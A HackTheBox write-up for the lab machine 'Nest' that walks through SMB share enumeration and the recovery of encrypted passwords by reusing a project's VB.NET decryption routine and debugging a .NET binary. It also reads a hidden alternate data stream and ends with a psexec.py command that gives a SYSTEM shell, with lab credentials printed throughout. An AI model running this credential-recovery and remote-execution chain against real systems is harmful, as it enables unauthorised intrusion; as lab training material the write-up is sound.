Nest

📅 Last Updated: Jul 08, 2025 07:14 | 📄 Size: 22.1 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

1,Recon Port scan 445/tcp SMB 4386/tcp unknown Reporting Service V1.2

Smb service:

smbclient -N -L //10.10.10.178     

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Data            Disk      
        IPC$            IPC       Remote IPC
        Secure$         Disk      
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.178 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

Of course we can try /Data and /Users

smbclient -N //10.10.10.178/users
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Administrator\*
NT_STATUS_ACCESS_DENIED listing \C.Smith\*
NT_STATUS_ACCESS_DENIED listing \L.Frost\*
NT_STATUS_ACCESS_DENIED listing \R.Thompson\*
NT_STATUS_ACCESS_DENIED listing \TempUser\*

smbclient -N //10.10.10.178/data
Try "help" to get a list of possible commands.
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \IT\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Reports\*
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Maintenance Alerts.txt (1.0 KiloBytes/sec) (average 1.0 KiloBytes/sec)
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (6.9 KiloBytes/sec) (average 4.3 KiloBytes/sec)

Maintenance Alerts.txt

There is currently no scheduled maintenance work

Welcome Email.txt

We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location: 
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the 
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you
HR

Then we can get a credit of TempUser.

Port 4386: By searching Reporting Service V1.2, we can get CVE-2020-0618: RCE in SQL Server Reporting Services (SSRS) https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/

And we can also use netcat to check it

nc 10.10.10.178 4386                                                     

HQK Reporting Service V1.2

Since I saw that nmap was able to get at least a help menu out of the program, I tried connecting with telnet, and it worked:

telnet 10.10.10.178 4386  
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
>

Now I can access one more share, Secure$:

smbmap -H 10.10.10.178 -u TempUser -p welcome2019
[+] IP: 10.10.10.178:445        Name: 10.10.10.178              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY                              

Then we can login to them smbclient -U TempUser //10.10.10.178/Secure$ welcome2019 smbclient -U TempUser //10.10.10.178/Users welcome2019 smbclient -U TempUser //10.10.10.178/Data welcome2019

After enumerating the files, we find the credit from file:///home/wither/Templates/htb-labs/Nest/IT/Configs/RU%20Scanner/RU_config.xml

<ConfigFile>
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

Let's try to crack the password firstly and check it to login the SMB or evil-winrm. But it would be not worked so we need to continue enumerating. From file:///home/wither/Templates/htb-labs/Nest/IT/Configs/NotepadPlusPlus/config.xml

<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts"/>
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt"/>
<File filename="C:\Users\C.Smith\Desktop\todo.txt"/>
</History>

In this place, I can't access to \Secure$, but I can access to \Secure$\Carl

smbclient -U TempUser //10.10.10.178/Secure$ welcome2019
Try "help" to get a list of possible commands.
smb: \> cd IT\Carl
smb: \IT\Carl\> ls
  .                                   D        0  Wed Aug  7 15:42:14 2019
  ..                                  D        0  Wed Aug  7 15:42:14 2019
  Docs                                D        0  Wed Aug  7 15:44:00 2019
  Reports                             D        0  Tue Aug  6 09:45:40 2019
  VB Projects                         D        0  Tue Aug  6 10:41:55 2019

                10485247 blocks of size 4096. 6545797 blocks available

Code Analysis

The collected code is a .NET VB project. The main Visual Studio project file is RUScanner.sln:

ls 'VB Projects/WIP/RU/'
RUScanner  RUScanner.sln

Looking through the code, one of the things that jumps out to me is Utils.vb. It’s a class that’s designed to provide EncryptString and DecryptString functions to the rest of the project. I see this called from the main code in Module1.vb1:

Module Module1
    
  Sub Main()
    Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
    Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}

  End Sub

End Module

It is opening a RU_Config.xml file, and then reading the username and decrypting the password. That matches what I found above for C.Smith.

Visual Studio Installing VS is a pain, and it takes a long time, but it’s worth having installed and setup in your Windows VM. There are many Windows-focused projects out there that don’t provide compiled binaries. Once you have VS set up, you can download a project and build it.

In this case, I’ll open the .sln file in VS:

Before changing anything, it’s always a good idea to make sure the project will build. First I’ll change it from Debug to Release and x86 to x64 in the drop-downs at the top, and then from the menu, I’ll select Build -> Build Solution.

This binary doesn’t do anything except for read a config into another variable and then exit. If I try to run it, it throws errors because it can’t find the config file:

.\DbPof.exe

Unhandled Exception: System.IO.FileNotFoundException: Could not find file 'Z:\nest-10.10.10.178\files\VB Projects\WIP\RU\RUScanner\bin\x64\Release\RU_Config.xml'.
   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
   at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy)
   at System.IO.FileStream..ctor(String path, FileMode mode)
   at DbPof.ConfigFile.LoadFromFile(String FilePath) in Z:\nest-10.10.10.178\files\VB Projects\WIP\RU\RUScanner\ConfigFIle.vb:line 15
   at DbPof.Module1.Main() in Z:\nest-10.10.10.178\files\VB Projects\WIP\RU\RUScanner\Module1.vb:line 4

If I copy a copy of the config file into the same directory, now it runs and exits without outputting anything.

I see two ways to approach this. Since it’s .NET, I can open it in dnspy. It will show up on the left, and if I expand enough, I’ll find Module 1: Clicking on it, I’ll see the code from Main(). I’ll right click on the last line, and add a break point: Now I’ll hit Start. It runs to the break point and stops. In the bottom window, I can see all the variables in memory: I’ll hit Step Over once, and it moves past the current line. Now the decrypted password is there: The other way to quickly get the password is to add a line to Main():

Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
        Console.WriteLine(Utils.DecryptString(Config.Password))

    End Sub

End Module

I could also comment out the other two. Or put a static string in instead of Config.Password. Now I’ll build again, and run:

.\DbPof.exe
xRxRxPANCAK3SxRxRx

Web IDE Path The quick way to recover the password is to put this code into an online VB environment like dotnetfiddle. When I first visit and select VB.NET as the language, it gives some Hello World code: https://dotnetfiddle.net/

Imports System
				
Public Module Module1
	Public Sub Main()
		Console.WriteLine("Hello World")
	End Sub
End Module

I can run it, and it prints “Hello World” in the console at the bottom:

I’ll jam my own code in here. I’ll replace "Hello World" with DecryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="). Now I’ll add the DecryptString and Decrypt functions with very little modification. I needed to remove the keyword “Shared” from the function declarations: My resulting code is:

Imports System
Imports System.Text
Imports System.Security.Cryptography

Public Module Module1
  Public Sub Main()
    Console.WriteLine(DecryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="))
  End Sub

  Public Function DecryptString(EncryptedString As String) As String
    If String.IsNullOrEmpty(EncryptedString) Then
      Return String.Empty
    Else
      Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
    End If
  End Function

  Public Function Decrypt(ByVal cipherText As String, _
                          ByVal passPhrase As String, _
                          ByVal saltValue As String, _
                          ByVal passwordIterations As Integer, _
                          ByVal initVector As String, _
                          ByVal keySize As Integer) _
                          As String

    Dim initVectorBytes As Byte()
    initVectorBytes = Encoding.ASCII.GetBytes(initVector)

    Dim saltValueBytes As Byte()
    saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

    Dim cipherTextBytes As Byte()
    cipherTextBytes = Convert.FromBase64String(cipherText)

    Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                       saltValueBytes, _
                                       passwordIterations)

    Dim keyBytes As Byte()
    keyBytes = password.GetBytes(CInt(keySize / 8))

    Dim symmetricKey As New AesCryptoServiceProvider
    symmetricKey.Mode = CipherMode.CBC

    Dim decryptor As ICryptoTransform
    decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

    Dim memoryStream As IO.MemoryStream
    memoryStream = New IO.MemoryStream(cipherTextBytes)

    Dim cryptoStream As CryptoStream
    cryptoStream = New CryptoStream(memoryStream, _
                                    decryptor, _
                                    CryptoStreamMode.Read)

    Dim plainTextBytes As Byte()
    ReDim plainTextBytes(cipherTextBytes.Length)

    Dim decryptedByteCount As Integer
    decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                           0, _
                                           plainTextBytes.Length)

    memoryStream.Close()
    cryptoStream.Close()

    Dim plainText As String
    plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                        0, _
                                        decryptedByteCount)

    Return plainText
  End Function

End Module

When it runs, it prints: xRxRxPANCAK3SxRxRx.

SMB Access The password does work for SMB for C.Smith, but doesn’t give admin or code exec (no (Pwn3d!) message):

crackmapexec smb 10.10.10.178 -u C.Smith -p xRxRxPANCAK3SxRxRx
SMB         10.10.10.178    445    HTB-NEST         [*] Windows 6.1 Build 7601 (name:HTB-NEST) (domain:HTB-NEST) (signing:False) (SMBv1:False)
SMB         10.10.10.178    445    HTB-NEST         [+] HTB-NEST\C.Smith:xRxRxPANCAK3SxRxRx 

C.Smith has access to the same three shares:

smbmap -H 10.10.10.178 -u C.Smith -p xRxRxPANCAK3SxRxRx
[+] IP: 10.10.10.178:445        Name: 10.10.10.178                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

I can now access the C.Smith directory in \10.10.10.178\Users, and there’s user.txt.

smbclient -U C.Smith //10.10.10.178/users xRxRxPANCAK3SxRxRx
Try "help" to get a list of possible commands.
smb: \C.Smith\> dir
  .                                   D        0  Sun Jan 26 02:21:44 2020
  ..                                  D        0  Sun Jan 26 02:21:44 2020
  HQK Reporting                       D        0  Thu Aug  8 19:06:17 2019
  user.txt                            A       32  Thu Aug  8 19:05:24 2019

3,Shell as SYSTEM Also in C.Smith’s directory in the share is the HQK Reporting folder. That matches the service I identified on port 4386 in initial recon. I’ll recurrsively pull back all the files, and there are three:

find HQK\ Reporting/ -type f -ls

     6603      0 -rwxrwx---   1 root     vboxsf          0 Jun  5 15:52 HQK\ Reporting/Debug\ Mode\ Password.txt
     6604      4 -rwxrwx---   1 root     vboxsf        249 Jun  5 15:52 HQK\ Reporting/HQK_Config_Backup.xml
     6602     20 -rwxrwx---   1 root     vboxsf      17408 Jun  5 15:52 HQK\ Reporting/AD\ Integration\ Module/HqkLdap.exe

The backup config confirms the port and the directory that the user starts in once they connect:

<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>4386</Port>
  <QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>

I’m particularly drawn to Debug Mode Password.txt, except that it came back as zero bytes. Interestingly, it reports to be zero bytes on the share as well:

smb: \C.Smith\> cd "HQK Reporting"
smb: \C.Smith\HQK Reporting\> dir
  .                                   D        0  Thu Aug  8 19:06:17 2019
  ..                                  D        0  Thu Aug  8 19:06:17 2019
  AD Integration Module               D        0  Fri Aug  9 08:18:42 2019
  Debug Mode Password.txt             A        0  Thu Aug  8 19:08:17 2019
  HQK_Config_Backup.xml               A      249  Thu Aug  8 19:09:05 2019

                10485247 blocks of size 4096. 6545781 blocks available

However, if I run allinfo on it, I can see something else:

smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 07:06:12 PM 2019 EDT
access_time:    Thu Aug  8 07:06:12 PM 2019 EDT
write_time:     Thu Aug  8 07:08:17 PM 2019 EDT
change_time:    Thu Aug  8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

There’s an alternative data stream (ADS) there.I can get it with smbclient just by specifying the entire stream name with a get:

smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password"
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password of size 15 as Debug Mode Password.txt:Password (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)

Locally, I can get the password: WBQ201953D8w

Revisiting HQK Reporting I’ll connect again to HQK (using rlwrap to get arrow keys), and enter the debug creds. They work, and new commands are unlocked:

rlwrap telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

> debug WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available
> help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>

RUNQUERY still does nothing, but the new command SHOWQUERY seems to print the content of the file:

>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  COMPARISONS
[1]   Invoices (Ordered By Customer)
[2]   Products Sold (Ordered By Customer)
[3]   Products Sold In Last 30 Days

Current Directory: ALL QUERIES
>runquery 1

Invalid database configuration found. Please contact your system administrator

>showquery 1

TITLE=Invoices (Ordered By Customer)
QUERY_MODE=VIEW
QUERY_TYPE=INVOICE
SORTBY=CUSTOMER
DATERANGE=ALL

One directory up, there’s the executable and some config files for the program:

SETDIR ../

>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  ALL QUERIES
[DIR]  LDAP
[DIR]  Logs
[1]   HqkSvc.exe
[2]   HqkSvc.InstallState
[3]   HQK_Config.xml

Current Directory: HQK

HQK_Config.xml is the same as I pulled off SMB. In the LDAP directory, there’s a config file and another executable:

>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: ldap

The .conf file looks like another example with an encrypted password:

>showquery 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
file HqkLdap.exe                                                        
HqkLdap.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 4 sections

Based on the file names and the directory names, my thinking is that somehow this developer is trying to tie this application that doesn’t quite work yet into Active Directory, and may need (or at least be using) the administrator password to do that.

I’ll head back to my Windows VM, open dnSpy-x86 and load HqkLdap.exe. Just like last time, I’ll find Main():

The source starts off as:

public static void Main()
{
  checked
  { 
    try
    {
      if (MyProject.Application.CommandLineArgs.Count != 1) 
      {
        Console.WriteLine("Invalid number of command line arguments");
      }
      else if (!File.Exists(MyProject.Application.CommandLineArgs[0]))
      {
        Console.WriteLine("Specified config file does not exist");
      }
      else if (!File.Exists("HqkDbImport.exe"))
      {
        Console.WriteLine("Please ensure the optional database import module is installed");
      }

First, there are three conditions that are required to run:

There’s one command line argument. The config file specified as the command line argument exists. HqkDbImport.exe exists. This last one could be challenging, but it is called after the part of the code I care about, so it’s not important. I’ll create the two files in the same directory: After those checks, it loads the config file:

 else
      {
        LdapSearchSettings ldapSearchSettings = new LdapSearchSettings();
        string[] array = File.ReadAllLines(MyProject.Application.CommandLineArgs[0]);
        foreach (string text in array)
        {
          if (text.StartsWith("Domain=", StringComparison.CurrentCultureIgnoreCase))
          {
            ldapSearchSettings.Domain = text.Substring(text.IndexOf('=') + 1);
          }
          else if (text.StartsWith("User=", StringComparison.CurrentCultureIgnoreCase))
          {
            ldapSearchSettings.Username = text.Substring(text.IndexOf('=') + 1);
          }
          else if (text.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase))
          {
            ldapSearchSettings.Password = CR.DS(text.Substring(text.IndexOf('=') + 1));
          }
        }

I’ll put a break point on the next line after the password is decrypted and set. I’ll select Debug -> Start Debugging…, and add ldap.conf as an argument:

On hitting OK, it runs to my break point, and I can see the decrypted password: Then we get the Password : XtH4nkS4Pl4y1nGX

In this place, The RD() method then decrypts the string and returns the plaintext. A quick comparison between this method and one found in Utils.vb proves that they are the same. This means we can re-use the code from earlier and just change the parameters.

Then we can use psexec.py to get the SYSTEM shell: python3 /opt/impacket/examples/psexec.py administrator:XtH4nkS4Pl4y1nGX@10.10.10.178